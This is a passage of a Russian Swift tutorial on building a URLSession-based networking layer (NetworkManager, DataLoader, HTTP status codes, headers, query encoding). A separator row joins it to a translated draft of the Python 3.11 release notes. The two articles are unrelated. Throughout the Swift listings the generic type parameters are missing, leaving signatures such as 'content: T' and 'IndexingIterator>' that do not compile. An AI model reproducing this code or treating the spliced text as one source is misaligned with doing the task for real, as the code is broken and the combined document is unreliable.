Ниже представлен базовый класс, в котором расположена логика по обработке ответа сервера (URLResponse), от которого будут наследоваться конкретные загрузчики (модули), в том числе DataLoader и который зависит только от Foundation framework.
```
import Foundation
public class NetworkManager {
// MARK: - Properties
let session: URLSession
// MARK: - Lifecycle
public init(session: URLSession) {
self.session = session
}
// MARK: - Methods
func handle(response: URLResponse, content: T) throws -> T {
guard let response = response as? HTTPURLResponse else {
throw "Unknown response received"
}
guard let httpStatusCode = HttpStatusCode(rawValue: response.statusCode) else {
throw "Unknown http status code"
}
if httpStatusCode.isSuccessStatusCode {
return content
} else if let content = content as? Data {
throw try JSONDecoder().decode(Request.Error.self, from: content)
} else {
throw Request.Error(code: response.statusCode)
}
}
}
```
Не стоит удивляться наличию перечисления HTTPStatusCode, поскольку это достаточно стандартный набор констант, возвращаемых серверами в URLResponse.
```
import Foundation
public enum HttpStatusCode: Int {
case unknown = -1
// Informational response
case `continue` = 100
case switchingProtocols = 101
case processing = 102
case earlyHints = 103
// Success
case ok = 200
case created = 201
case accepted = 202
case nonAuthoritativeInformation = 203
case noContent = 204
case resetContent = 205
case partialContent = 206
case multiStatus = 207
case alreadyReported = 208
case used = 226
// Redirection
case multipleChoices = 300
case movedPermanently = 301
case found = 302
case seeOther = 303
case notModified = 304
case useProxy = 305
case switchProxy = 306
case temporaryRedirect = 307
case permanentRedirect = 308
// Client errors
case badRequest = 400
case unauthorized = 401
case paymentRequired = 402
case forbidden = 403
case notFound = 404
case methodNotAllowed = 405
case notAcceptable = 406
case proxyAuthenticationRequired = 407
case requestTimeout = 408
case conflict = 409
case gone = 410
case lengthRequired = 411
case preconditionFailed = 412
case payloadTooLarge = 413
case urlTooLong = 414
case unsupportedMediaType = 415
case rangeNotSatisfiable = 416
case expectationFailed = 417
case teapot = 418
case misdirectedRequest = 421
case unprocessableEntity = 422
case locked = 423
case failedDependency = 424
case tooEarly = 425
case upgradeRequired = 426
case preconditionRequired = 428
case tooManyRequests = 429
case requestHeaderFieldsTooLarge = 431
case unavailableForLegalReasons = 451
// Server errors
case internalServerError = 500
case notImplemented = 501
case badGateway = 502
case serviceUnavailable = 503
case gatewayTimeout = 504
case httpVersionNotSupported = 505
case variantAlsoNegotiates = 506
case insufficientStorage = 507
case loopDetected = 508
case notExtended = 510
case networkAuthenticationRequired = 511
public var isSuccessStatusCode: Bool {
switch self.rawValue {
case 200..<300:
return true
default:
return false
}
}
}
```
Также Request.Error - наиболее тривиальная структура, которая содержит ответ сервера в случае возникновения ошибки.
```
import Foundation
extension Request {
public struct Error: LocalizedError, Codable {
public var code: Int
public var error: String?
public var statusCode: HttpStatusCode? {
return HttpStatusCode(rawValue: code)
}
public var errorDescription: String? {
return error
}
}
}
```
DataLoader наиболее часто используется. Поскольку с его помощью выполняются REST запросы, то предпочтительно, чтобы данный модуль еще и выполнял сериализацию/десериализацию запросов.
```
import Foundation
public final class DataLoader: NetworkManager {
@discardableResult
public func dataRequest(url: URL,
method: HTTPMethod,
headers: [HTTPHeader] = [],
parameters: Request.Parameters? = nil,
decoder: JSONDecoder? = nil) async throws -> T {
let data = try await dataRequest(
url: url,
method: method,
headers: headers,
parameters: parameters
)
let decoder = decoder ?? JSONDecoder()
return try decoder.decode(T.self, from: data)
}
@discardableResult
public func dataRequest(url: URL,
method: HTTPMethod,
headers: [HTTPHeader] = [],
parameters: Request.Parameters? = nil) async throws -> Data {
let request = try Request(
url: url,
method: method,
headers: headers,
parameters: parameters
)
let (data, response) = try await session.data(for: request.urlRequest)
return try handle(response: response, content: data)
}
}
```
HTTPMethod - очередной объект содержащий константы, которые определяют метод запроса. Поскольку методы могут быть и нестандартными, для возможности расширения в качестве контейнера была выбрана структура вместо перечисления.
```
import Foundation
public struct HTTPMethod: RawRepresentable, Equatable, Hashable {
public let rawValue: String
public init(rawValue: String) {
self.rawValue = rawValue
}
}
public extension HTTPMethod {
static let connect = HTTPMethod(rawValue: "CONNECT")
static let delete = HTTPMethod(rawValue: "DELETE")
static let get = HTTPMethod(rawValue: "GET")
static let head = HTTPMethod(rawValue: "HEAD")
static let options = HTTPMethod(rawValue: "OPTIONS")
static let patch = HTTPMethod(rawValue: "PATCH")
static let post = HTTPMethod(rawValue: "POST")
static let put = HTTPMethod(rawValue: "PUT")
static let trace = HTTPMethod(rawValue: "TRACE")
}
```
HTTPHeader - объект, который содержит информацию о header запроса. Также реализован в виде структуры, а не перечисления, поскольку необходима возможность расширения нестандартными значениями.
```
import Foundation
public struct HTTPHeader: Hashable {
public let name: String
public let value: String
public init(name: String, value: String) {
self.name = name
self.value = value
}
}
extension HTTPHeader: CustomStringConvertible {
public var description: String {
"\(name): \(value)"
}
}
public extension HTTPHeader {
static func accept(_ value: String) -> HTTPHeader {
HTTPHeader(name: "Accept", value: value)
}
static func acceptCharset(_ value: String) -> HTTPHeader {
HTTPHeader(name: "Accept-Charset", value: value)
}
static func acceptLanguage(_ value: String) -> HTTPHeader {
HTTPHeader(name: "Accept-Language", value: value)
}
static func acceptEncoding(_ value: String) -> HTTPHeader {
HTTPHeader(name: "Accept-Encoding", value: value)
}
static func authorization(username: String, password: String) -> HTTPHeader {
let credential = Data("\(username):\(password)".utf8).base64EncodedString()
return authorization("Basic \(credential)")
}
static func authorization(bearerToken: String) -> HTTPHeader {
authorization("Bearer \(bearerToken)")
}
static func authorization(_ value: String) -> HTTPHeader {
HTTPHeader(name: "Authorization", value: value)
}
static func contentDisposition(_ value: String) -> HTTPHeader {
HTTPHeader(name: "Content-Disposition", value: value)
}
static func contentType(_ value: String) -> HTTPHeader {
HTTPHeader(name: "Content-Type", value: value)
}
static func contentLength(_ value: String) -> HTTPHeader {
HTTPHeader(name: "Content-Length", value: value)
}
static func userAgent(_ value: String) -> HTTPHeader {
HTTPHeader(name: "User-Agent", value: value)
}
}
public extension HTTPHeader {
static func qualityEncoded(_ encodings: [String]) -> String {
return encodings.enumerated().map { index, encoding in
let quality = 1.0 - (Double(index) * 0.1)
return "\(encoding);q=\(quality)"
}
.joined(separator: ", ")
}
static let defaultAcceptEncoding: HTTPHeader = {
let encodings = ["br", "gzip", "deflate"]
let value = qualityEncoded(encodings)
return .acceptEncoding(value)
}()
static let defaultAcceptLanguage: HTTPHeader = {
let encodings = Array(Locale.preferredLanguages.prefix(6))
let value = qualityEncoded(encodings)
return .acceptLanguage(value)
}()
static let defaultUserAgent: HTTPHeader = {
let info = Bundle.main.infoDictionary
let executable = (info?["CFBundleExecutable"] as? String) ??
(ProcessInfo.processInfo.arguments.first?.split(separator: "/").last.map(String.init)) ??
"Unknown"
let bundle = info?["CFBundleIdentifier"] as? String ?? "Unknown"
let appVersion = info?["CFBundleShortVersionString"] as? String ?? "Unknown"
let appBuild = info?["CFBundleVersion"] as? String ?? "Unknown"
let osNameVersion: String = {
let version = ProcessInfo.processInfo.operatingSystemVersion
let versionString = "\(version.majorVersion).\(version.minorVersion).\(version.patchVersion)"
let osName: String = {
#if os(iOS)
#if targetEnvironment(macCatalyst)
return "macOS(Catalyst)"
#else
return "iOS"
#endif
#elseif os(watchOS)
return "watchOS"
#elseif os(tvOS)
return "tvOS"
#elseif os(macOS)
return "macOS"
#elseif os(Linux)
return "Linux"
#elseif os(Windows)
return "Windows"
#else
return "Unknown"
#endif
}()
return "\(osName) \(versionString)"
}()
let userAgent = "\(executable)/\(appVersion) (\(bundle); build:\(appBuild); \(osNameVersion))"
return .userAgent(userAgent)
}()
}
```
С параметрами запроса все несколько сложнее, так как они могут передаваться как в query строке, так и в body запроса. Поэтому структура Parameters конфигурирует то, как параметры будут передаваться, в то время как логика по формированию query или body расположена в объекте Query.
```
import Foundation
public extension Request {
struct Parameters {
// MARK: - Types
public enum Destination {
case query
case body
}
// MARK: - Properties
let destination: Destination
let object: Any
// MARK: - Methods
public static func query(_ query: Query, encoding: QueryEncoding? = nil) -> Parameters {
let encoding = encoding ?? QueryEncoding()
let object = (query, encoding)
return Parameters(destination: .query, object: object)
}
public static func body(\_ object: T, encoder: JSONEncoder? = nil) throws -> Parameters {
let encoder = encoder ?? JSONEncoder()
let data = try encoder.encode(object)
return Parameters(destination: .body, object: data)
}
public static func body(\_ data: Data) -> Parameters {
return Parameters(destination: .body, object: data)
}
}
}
```
Более подробно про структуру Query рассказано в [Swift. Сериализация параметров запроса](https://habr.com/ru/post/678304/), поэтому ниже представлен только source code объекта.
```
import Foundation
public extension Request {
struct Query {
// MARK: - Types
public struct Parameter {
public var key: K
public var value: V
}
// MARK: - Properties
private var elements: [Element]
// MARK: - Lifecycle
init(uniqueKeysWithValues elements: S) where S.Element == (Key, Value) {
self.elements = elements.map(Parameter.init)
}
// MARK: - Methods
public subscript(key: Key) -> Value? where Key: Equatable {
get { elements.first { $0.key == key }?.value }
set {
if let index = elements.firstIndex(where: { $0.key == key }) {
if let newValue {
elements[index].value = newValue
} else {
elements.remove(at: index)
}
} else {
if let newValue {
elements.append(Element(key: key, value: newValue))
}
}
}
}
}
}
// MARK: - Extensions
extension Request.Query: ExpressibleByDictionaryLiteral {
public typealias Value = any Encodable
public init(dictionaryLiteral elements: (Key, Value)...) {
self.elements = elements.map(Parameter.init)
}
}
extension Request.Query: RangeReplaceableCollection {
public init() {
self.elements = []
}
}
extension Request.Query: Sequence {
public typealias Iterator = IndexingIterator>
public func makeIterator() -> Iterator {
return elements.makeIterator()
}
}
extension Request.Query: Collection {
public typealias Element = Parameter
public typealias Index = Int
public var startIndex: Index {
return elements.startIndex
}
public var endIndex: Int {
return elements.endIndex
}
public subscript(position: Int) -> Element {
return elements[position]
}
public func index(after i: Int) -> Int {
return elements.index(after: i)
}
}
extension Request.Query where Key == String {
public func encode(to url: URL, encoding: QueryEncoding) -> URL? {
var components = URLComponents(url: url, resolvingAgainstBaseURL: false)
components?.queryItems = elements.flatMap { encodeQueryItem(element: $0, encoding: encoding) }
return components?.url
}
private func encodeQueryItem(element: Element, encoding: QueryEncoding) -> [URLQueryItem] {
encodeQueryItem(name: element.key, value: element.value, encoding: encoding)
}
private func encodeQueryItem(name: String, value: Any, encoding: QueryEncoding) -> [URLQueryItem] {
switch value {
case let boolean as Bool:
let queryItem = encodeBool(name: name, value: boolean, encoding: encoding)
return [queryItem]
case let number as NSNumber:
let queryItem = encodeNumber(name: name, value: number)
return [queryItem]
case let array as [Any]:
let queryItems = encodeArray(name: name, value: array, encoding: encoding)
return queryItems
case let dictionary as [String: Any]:
let queryItems = encodeDictionary(name: name, value: dictionary, encoding: encoding)
return queryItems
default:
let queryItem = URLQueryItem(name: name, value: "\(value)")
return [queryItem]
}
}
private func encodeBool(name: String, value: Bool, encoding: QueryEncoding) -> URLQueryItem {
let stringValue: String
switch encoding.bool {
case .numeric:
stringValue = (value as NSNumber).stringValue
case .literal:
stringValue = String(value)
}
return URLQueryItem(name: name, value: stringValue)
}
private func encodeNumber(name: String, value: NSNumber) -> URLQueryItem {
let stringValue = value.stringValue
return URLQueryItem(name: name, value: stringValue)
}
private func encodeArray(name: String, value: [Any], encoding: QueryEncoding) -> [URLQueryItem] {
switch encoding.array {
case .enclosingBrackets:
return value.flatMap { encodeQueryItem(name: name + "[]", value: $0, encoding: encoding) }
case .surroundingBrackets:
let value = value
.flatMap { encodeQueryItem(name: name, value: $0, encoding: encoding) }
.compactMap { $0.value }
.map { "\"\($0)\"" }
.joined(separator: ",")
let queryItem = URLQueryItem(name: name, value: "[\(value)]")
return [queryItem]
case .noBrackets:
return value.flatMap { encodeQueryItem(name: name, value: $0, encoding: encoding) }
}
}
private func encodeDictionary(name: String, value: [String: Any], encoding: QueryEncoding) -> [URLQueryItem] {
return value
.map { encodeQueryItem(name: name + "[\($0)]", value: $1, encoding: encoding) }
.flatMap { $0 }
}
}
extension Request.Query: Encodable {
public func encode(to encoder: Encoder) throws {
if Key.self is CodingKeyRepresentable.Type {
var container = encoder.container(keyedBy: QueryCodingKey.self)
for element in elements {
guard let key = element.key as? CodingKeyRepresentable else {
continue
}
let codingKey = QueryCodingKey(key: key)
try container.encode(element.value, forKey: codingKey)
}
} else {
var container = encoder.unkeyedContainer()
for element in elements {
try container.encode(element.key)
try container.encode(element.value)
}
}
}
}
```
QueryCodingKey - одна из зависимостей Query структуры, с помощью которой присходит энкодинг any Encodable значения.
```
import Foundation
struct QueryCodingKey: CodingKey {
let stringValue: String
let intValue: Int?
init(stringValue: String) {
self.stringValue = stringValue
self.intValue = Int(stringValue)
}
init(intValue: Int) {
self.stringValue = "\(intValue)"
self.intValue = intValue
}
init(key: CodingKeyRepresentable) {
self.stringValue = key.codingKey.stringValue
self.intValue = key.codingKey.intValue
}
}
```
QueryEncoding - еще одна зависимость Query, которая конфигурирует серилизацию query строки.
```
import Foundation
public struct QueryEncoding {
public enum ArrayEncoding {
case enclosingBrackets
case surroundingBrackets
case noBrackets
}
public enum BoolEncoding {
case numeric
case literal
}
public var array: ArrayEncoding
public var bool: BoolEncoding
public init(array: QueryEncoding.ArrayEncoding = .enclosingBrackets, bool: QueryEncoding.BoolEncoding = .literal) {
self.array = array
self.bool = bool
}
}
```
И, наконец сам запрос. Является ничем иным, как оберткой над объектом URLRequest.
```
import Foundation
public final class Request {
// MARK: - Properties
private(set) var urlRequest: URLRequest
// MARK: - Lifecycle
init(url: URL,
method: HTTPMethod,
headers: [HTTPHeader],
parameters: Parameters?) throws {
urlRequest = URLRequest(url: url)
urlRequest.httpMethod = method.rawValue
urlRequest.allHTTPHeaderFields = headers.reduce(into: [:]) { $0[$1.name] = $1.value }
if let parameters {
switch parameters.destination {
case .query:
guard let (query, encoding) = parameters.object as? (Query, QueryEncoding) else {
throw "Cannot resolve query object"
}
urlRequest.url = query.encode(to: url, encoding: encoding)
case .body:
guard let data = parameters.object as? Data else {
throw "Cannot resolve data object"
}
urlRequest.httpBody = data
}
}
}
}
```
На этом ядро NetworkManager сформировано и готово к использованию.
Использование
-------------
Приведенный выше код формирует удобную для использования абстракцию, вследствие чего код читается и поддерживается намного легче.
```
extension DataLoader {
func updateAccount(id: Int, name: String) async throws {
let url = try createUrl(host: .staging, path: "api/v1/account/\(id)")
let accessToken = try accessToken(for: .staging)
let headers: [HTTPHeader] = [
.authorization("Bearer \(accessToken)")
]
let parameters: Request.Query = [
"name": name
]
try await dataRequest(
url: url,
method: .put,
headers: headers,
parameters: .query(parameters)
)
}
}
```
Реализация методов createUrl(host:path:) и accessToken(for:) выходит за рамки данной статьи, поэтому рассматриваться не будет.
### Заключение
Вполне возможно, что Apple представят своего конкурента Alamofire. Тем более, что Alamofire имеет недостатки и в качестве примера стоит привести спагетти код и зависимость от других библиотек. В любом случае, наличие под рукой NetworkManager, реализованного с оглядкой на абстракцию, инкапсуляцию и наследование позволяет разработчику на мгновение откинуться в кресле и подумать над решением уже другой задачи.
1. [URLSession](https://developer.apple.com/documentation/foundation/urlsession)
2. [URLRequest](https://developer.apple.com/documentation/foundation/urlrequest)
3. [URLResponse](https://developer.apple.com/documentation/foundation/urlresponse)
4. [Alamofire](https://github.com/Alamofire/Alamofire) | https://habr.com/ru/post/676092/ | null | ru | null |
# Выходит первый Python 3.11. Что нового?
Делимся переводом документации альфы Python 3.11, которая выходит 4 октября, о разнице в сравнении с версией 3.10. Изменения касаются трассировки исключений, модулей math, sqlite, threading, unittest и других. Удалена ощутимая часть устаревшей функциональности.
Подробности читайте под катом, пока у нас начинается курс по [Fullstack-разработке на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_031021&utm_term=lead).
---
Полный [список](https://docs.python.org/3.11/whatsnew/changelog.html#changelog) изменений.
> Пользователи предварительной версии должны знать, что этот документ в настоящее время находится в черновом варианте. Он будет существенно обновляться по мере продвижения Python 3.11 к релизу, поэтому стоит вернуться к нему даже после ознакомления с предыдущими версиями.
>
>
### Краткое изложение – основные моменты выпуска
### Новые возможности
#### Ошибки в трассировке теперь указываются точнее
При печати трассировки интерпретатор теперь точно указывает на выражение, которое привело к ошибке, а не на строку:
```
Traceback (most recent call last):
File "distance.py", line 11, in
print(manhattan\_distance(p1, p2))
^^^^^^^^^^^^^^^^^^^^^^^^^^
File "distance.py", line 6, in manhattan\_distance
return abs(point\_1.x - point\_2.x) + abs(point\_1.y - point\_2.y)
^^^^^^^^^
AttributeError: 'NoneType' object has no attribute 'x'
```
Предыдущие версии интерпретатора указывали только на строку, не разъясняя, какой объект оказался None. Эти расширенные ошибки также могут быть полезны при работе с глубоко вложенными объектами словаря и множественными вызовами функций,
```
Traceback (most recent call last):
File "query.py", line 37, in
magic\_arithmetic('foo')
^^^^^^^^^^^^^^^^^^^^^^^
File "query.py", line 18, in magic\_arithmetic
return add\_counts(x) / 25
^^^^^^^^^^^^^
File "query.py", line 24, in add\_counts
return 25 + query\_user(user1) + query\_user(user2)
^^^^^^^^^^^^^^^^^
File "query.py", line 32, in query\_user
return 1 + query\_count(db, response['a']['b']['c']['user'], retry=True)
~~~~~~~~~~~~~~~~~~^^^^^
TypeError: 'NoneType' object is not subscriptable
```
а также сложными арифметическими выражениями:
```
Traceback (most recent call last):
File "calculation.py", line 54, in
result = (x / y / z) \* (a / b / c)
~~~~~~^~~
ZeroDivisionError: division by zero
```
Подробности в [PEP 657](https://www.python.org/dev/peps/pep-0657), это вклад Пабло Галиндо, Батухана Таскайи и Аммара Аскара в [bpo-43950](https://bugs.python.org/issue43950).
> Эта возможность требует хранения позиций столбцов в объектах кода, что может привести к небольшому увеличению использования дискового пространства скомпилированными файлами Python или использования памяти интерпретатора.
>
> Чтобы избежать хранения дополнительной информации и/или отключить печать дополнительной информации об отладке, можно использовать флаг запуска из командной строки [-X](https://docs.python.org/3.11/using/cmdline.html#cmdoption-X) no\_debug\_ranges или переменную окружения [PYTHONNODEBUGRANGES](https://docs.python.org/3.11/using/cmdline.html#envvar-PYTHONNODEBUGRANGES).
>
>
*Информация о столбцах для объектов кода.*
Информация, используемая расширенной функцией трассировки, доступна в виде общего API, который можно задействовать для сопоставления инструкций байт-кода и исходного кода. Эту информацию можно получить с помощью:
* метода Python [codeobject.co\_positions()](https://docs.python.org/3.11/reference/datamodel.html#codeobject.co_positions);
* функции [PyCode\_Addr2Location()](https://docs.python.org/3.11/c-api/code.html#c.PyCode_Addr2Location) из C API.
Опция [-X](https://docs.python.org/3.11/using/cmdline.html#cmdoption-X) no\_debug\_ranges и переменная среды PYTHONNODEBUGRANGES могут использоваться для отключения этой функции. Подробности — в [PEP 657](https://www.python.org/dev/peps/pep-0657), это вклад Пабло Галиндо, Батухана Таскайи и Аммара Аскара в [bpo-43950](https://bugs.python.org/issue43950).
### Другие изменения в языке
* Асинхронные включения (comprehension) теперь разрешены внутри включений в асинхронных функциях. Внешнее включение неявно становится асинхронным (автор: Сергей Сторчака в [bpo-33346](https://bugs.python.org/issue33346)).
* [TypeError](https://docs.python.org/3.11/library/exceptions.html#TypeError) поднимается вместо [AttributeError](https://docs.python.org/3.11/library/exceptions.html#AttributeError) в [contextlib.ExitStack.enter\_context()](https://docs.python.org/3.11/library/contextlib.html#contextlib.ExitStack.enter_context) и [contextlib.AsyncExitStack.enter\_async\_context()](https://docs.python.org/3.11/library/contextlib.html#contextlib.AsyncExitStack.enter_async_context) для объектов без поддержки протоколов [контекстного менеджера](https://docs.python.org/3.11/glossary.html#term-context-manager) или [асинхронного контекстного менеджера](https://docs.python.org/3.11/glossary.html#term-asynchronous-context-manager) соответственно (вклад Сергея Сторчака в [bpo-44471](https://bugs.python.org/issue44471)).
* [TypeError](https://docs.python.org/3.11/library/exceptions.html#TypeError) поднимается вместо [AttributeError](https://docs.python.org/3.11/library/exceptions.html#AttributeError) в [with](https://docs.python.org/3.11/reference/compound_stmts.html#with) и [async with](https://docs.python.org/3.11/reference/compound_stmts.html#async-with) для объектов без поддержки протоколов [контекстного менеджера](https://docs.python.org/3.11/glossary.html#term-context-manager) или [асинхронного контекстного менеджера](https://docs.python.org/3.11/glossary.html#term-asynchronous-context-manager) соответственно (вклад Сергея Сторчака в [bpo-44471](https://bugs.python.org/issue12022)).
### Другие изменения реализации CPython
* Специальные методы complex.\_\_complex\_\_() и bytes.\_\_bytes\_\_() реализованы для поддержки протоколов [typing.SupportsComplex](https://docs.python.org/3.11/library/typing.html#typing.SupportsComplex) и [typing.SupportsBytes](https://docs.python.org/3.11/library/typing.html#typing.SupportsBytes) (вклад Марка Дикинсона и Дон-Хи На в [bpo-24234](https://bugs.python.org/issue24234)).
### Новые модули
* Их ещё нет.
### Улучшенные модули
#### fractions
Поддержка инициализации дроби из строки в стиле PEP 515 (вклад Сергея Б. Кирпичёва в [bpo-44258](https://bugs.python.org/issue44258)).
#### math
* Добавлена функция [math.cbrt()](https://docs.python.org/3.11/library/math.html#math.cbrt), она возвращает кубический корень из x. (Вклад Аджита Рамачандрана в [bpo-44357](https://bugs.python.org/issue44357).
* Поведение двух крайних случаев [math.pow()](https://docs.python.org/3.11/library/math.html#math.pow) было изменено для обеспечения согласованности со спецификацией IEEE 754. Операции math.pow(0.0, -math.inf) и math.pow(-0.0, -math.inf) теперь возвращают inf. Ранее они поднимали [ValueError](https://docs.python.org/3.11/library/exceptions.html#ValueError) (вклад Марка Дикинсона в [bpo-44339](https://bugs.python.org/issue44339)).
#### operator
* Добавлена функция operator.call, такая, что operator.call(obj, \*args, \*\*kwargs) == obj(\*args, \*\*kwargs) (вклад Энтони Ли в [bpo-44019](https://bugs.python.org/issue44019)).
#### os
* На Windows [os.urandom()](https://docs.python.org/3.11/library/os.html#os.urandom) в Python 3.11 использует BcryptGenRandom().
#### sqlite3
* Теперь вы можете отключить авторизер (authorizer), передав параметр None в set\_authorizer() (предоставлено Эрлендом Аасландом в [bpo-44491](https://bugs.python.org/issue44491)).
* Имя параметра сортировки [create\_collation()](https://docs.python.org/3.11/library/sqlite3.html#sqlite3.Connection.create_collation) теперь может содержать любой символ Юникода. Имена параметров сортировки с недопустимыми символами теперь вызывают [UnicodeEncodeError](https://docs.python.org/3.11/library/exceptions.html#UnicodeEncodeError) вместо [sqlite3.ProgrammingError](https://docs.python.org/3.11/library/sqlite3.html#sqlite3.ProgrammingError) (вклад Эрленда Аасланда в [bpo-44688](https://bugs.python.org/issue44688)).
* Исключения [sqlite3](https://docs.python.org/3.11/library/sqlite3.html#module-sqlite3) сейчас содержат код ошибки SQLite как [sqlite\_errorcode](https://docs.python.org/3.11/library/sqlite3.html#sqlite3.Error.sqlite_errorcode) и название ошибки как [sqlite\_errorname](https://docs.python.org/3.11/library/sqlite3.html#sqlite3.Error.sqlite_errorname) (вклад Авива Паливоды, Даниэля Шахафа и Эрленда Аасланда в [bpo-16379](https://bugs.python.org/issue16379)).
#### threading
* В Unix, если функция sem\_clockwait() доступна в библиотеке C (glibc 2.30 и выше), то [threading.Lock.acquire()](https://docs.python.org/3.11/library/threading.html#threading.Lock.acquire) использует монотонные часы ([time.CLOCK\_MONOTONIС](https://docs.python.org/3.11/library/time.html#time.CLOCK_MONOTONIC)) для тайм-аута, а не системные часы ([time.CLOCK\_REALTIME](https://docs.python.org/3.11/library/time.html#time.CLOCK_REALTIME)), чтобы не зависеть от изменений последних. (Вклад Виктора Стиннера и Ливиуса в [bpo-41710](https://bugs.python.org/issue41710)).
#### time
* В Unix, [time.sleep()](https://docs.python.org/3.11/library/time.html#time.sleep) теперь использует clock\_nanosleep() или nanosleep(), если таковая имеется, она имеет разрешение в 1 наносекунду (10-9 секунды), а не с помощью select() с разрешением 1 мкс (10-6 секунды). (Вклад Виктора Стиннера и Ливиуса в [bpo-21302](https://bugs.python.org/issue21302)).
* В Windows [time.sleep()](https://docs.python.org/3.11/library/time.html#time.sleep) теперь использует ожидающий таймер, который имеет разрешение 100 наносекунд (10-7 секунды). Ранее его разрешение составляло 1 миллисекунду (10-3 секунды) (вклад Ливиуса и Виктора Стиннера в [bpo-21302](https://bugs.python.org/issue21302)).
#### unicodedata
* База данных Unicode обновлена до версии 14.0.0 ([bpo-45190](https://bugs.python.org/issue45190)).
### Оптимизации
* Компилятор теперь оптимизирует простое форматирование в стиле C с литеральным форматом, содержащим только коды формата %s, %r и %a, и делает его таким же быстрым, как соответствующее выражение f-строки. (Предоставлено Сергеем Сторчака в [bpo-28307](https://bugs.python.org/issue28307)).
* Реализованы исключения «с нулевыми накладными расходами». Затраты на операторы try практически исключены, когда исключение не возникает (вклад Марка Шеннона в [bpo-40222](https://bugs.python.org/issue40222)).
* Вызовы методов с ключевыми словами теперь выполняются быстрее благодаря изменениям в байт-коде, которые позволяют избежать создания связанных экземпляров методов. Ранее эта оптимизация применялась только к вызовам методов с чисто позиционными аргументами (вклад Кена Джина и Марка Шеннона в [bpo-26110](https://bugs.python.org/issue26110), основанный на идеях, реализованных в PyPy).
* Чистые ASCII-строки теперь нормализуются за константное время с помощью [unicodedata.normalize()](https://docs.python.org/3.11/library/unicodedata.html#unicodedata.normalize) (внесено Дон-Хи На в [bpo-44987](https://bugs.python.org/issue44987)).
### Изменения в байт-коде CPython
* Добавлен новый опкод [CALL\_METHOD\_KW](https://docs.python.org/3.11/library/dis.html#opcode-CALL_METHOD_KW). Вызывает метод в той же манере, что и [CALL\_METHOD](https://docs.python.org/3.11/library/dis.html#opcode-CALL_METHOD), но также поддерживает аргументы в виде ключевых слов. Работает в тандеме с [LOAD\_METHOD](https://docs.python.org/3.11/library/dis.html#opcode-LOAD_METHOD).
### Устаревшее
* [lib2to3](https://docs.python.org/3.11/library/2to3.html#module-lib2to3) устарел и может не работать с Python 3.10 или новее. См. [PEP 617](https://www.python.org/dev/peps/pep-0617) (новый PEG-парсер CPython) (внесено Виктором Стиннером в [bpo-40360](https://bugs.python.org/issue40360)).
* webbrowser.MacOSX устарел и будет удалён в Python 3.13. Он не протестирован и не документирован, а также не используется самим веб-браузером. (Вклад Дон-Хи На в [bpo-42255](https://bugs.python.org/issue42255)).
* Поведение возврата значения из методов тестирования [TestCase](https://docs.python.org/3.11/library/unittest.html#unittest.TestCase) и [IsolatedAsyncioTestCase](https://docs.python.org/3.11/library/unittest.html#unittest.IsolatedAsyncioTestCase) (отличного от значения None по умолчанию) устарело.
* Устарели следующие функции [unittest](https://docs.python.org/3.11/library/unittest.html#module-unittest), они будут удалены в Python 3.13:
* unittest.findTestCases();
* unittest.makeSuite();
* unittest.getTestCaseNames().
Вместо них используйте методы [TestLoader](https://docs.python.org/3.11/library/unittest.html#unittest.TestLoader):
* [unittest.TestLoader.loadTestsFromModule()](https://docs.python.org/3.11/library/unittest.html#unittest.TestLoader.loadTestsFromModule);
* [unittest.TestLoader.loadTestsFromTestCase()](https://docs.python.org/3.11/library/unittest.html#unittest.TestLoader.loadTestsFromTestCase);
* [unittest.TestLoader.getTestCaseNames()](https://docs.python.org/3.11/library/unittest.html#unittest.TestLoader.getTestCaseNames).
(Внесено Эрландом Аасландом в [bpo-5846](https://bugs.python.org/issue5846)).
### Удалённое
* SMTPD.MailmanProxy удалён: он не используется без внешнего модуля mailman. (Вклад Дон-Хи На в [bpo-35800](https://bugs.python.org/issue35800)).
* Устаревший в Python 3.9 модуль Binhex удалён. Функции [BinAscii](https://docs.python.org/3.11/library/binascii.html#module-binascii), устаревшие в этой же версии, также удалены:
* a2b\_hqx(), b2a\_hqx();
* rlecode\_hqx(), rledecode\_hqx().
* Функция [binAscii.crc\_hqx()](https://docs.python.org/3.11/library/binascii.html#binascii.crc_hqx) доступна.
(Внесено Виктором Стиннером в [bpo-45085](https://bugs.python.org/issue45085)).
* Команда distutils bdist\_msi, устаревшая в Python 3.9, удалена, вместо неё используйте bdist\_wheel — пакеты wheel (вклад Хьюго ван Кеменаде в [bpo-45124](https://bugs.python.org/issue45124)).
* В связи с серьёзными проблемами безопасности параметр *reuse\_address* [asyncio.loop.create\_datagram\_endpoint()](https://docs.python.org/3.11/library/asyncio-eventloop.html#asyncio.loop.create_datagram_endpoint), отключённый в Python 3.9, теперь полностью удалён. Это связано с поведением опции сокета SO\_REUSEADDR в UDP (вклад Хьюго ван Кеменаде в [bpo-45129](https://bugs.python.org/issue45129)).
* Удалены методы \_\_getitem\_\_() в [xml.dom.pulldom.DOMEventStream](https://docs.python.org/3.11/library/xml.dom.pulldom.html#xml.dom.pulldom.DOMEventStream), [wsgiref.util.FileWrapper](https://docs.python.org/3.11/library/wsgiref.html#wsgiref.util.FileWrapper) и [fileinput.FileInput](https://docs.python.org/3.11/library/fileinput.html#fileinput.FileInput), устаревшие в Python 3.9. (вклад Хьюго ван Кеменаде в [bpo-45132](https://bugs.python.org/issue45132)).
* Удалено много устаревших функций [unittest](https://docs.python.org/3.11/library/unittest.html#module-unittest):
* Псевдонимы методов [TestCase](https://docs.python.org/3.11/library/unittest.html#unittest.TestCase) failUnlessEqual, failIfEqual, failUnless, failIf, failUnlessRaises, failUnlessAlmostEqual, failIfAlmostEqual (устаревшие в Python 3.1), assertEquals, assertNotEquals, assert\_, assertAlmostEquals, assertNotAlmostEquals, assertRegexpMatches, assertRaisesRegexp (устаревшие в Python 3.2) и assertNotRegexpMatches (устаревший в Python 3.5).
* Недокументированный и сломанный метод [Testcase](https://docs.python.org/3.11/library/unittest.html#unittest.TestCase) assertdictcontainssset (устарел в Python 3.2).
* Недокументированный параметр TestLoader.loadTestsFromModule() *use\_load\_tests* (устарел и игнорируется с версии 3.2).
* Псевдоним класса [TextTestResult](https://docs.python.org/3.11/library/unittest.html#unittest.TextTestResult): \_TextTestResult (устарел в Python 3.2).
(вклад Сергея Сторчака в [bpo-45162](https://bugs.python.org/issue45162)).
* Следующие устаревшие функции и методы удалены в модуле gettext: lgettext(), ldgettext(), lngettext() и ldngettext().
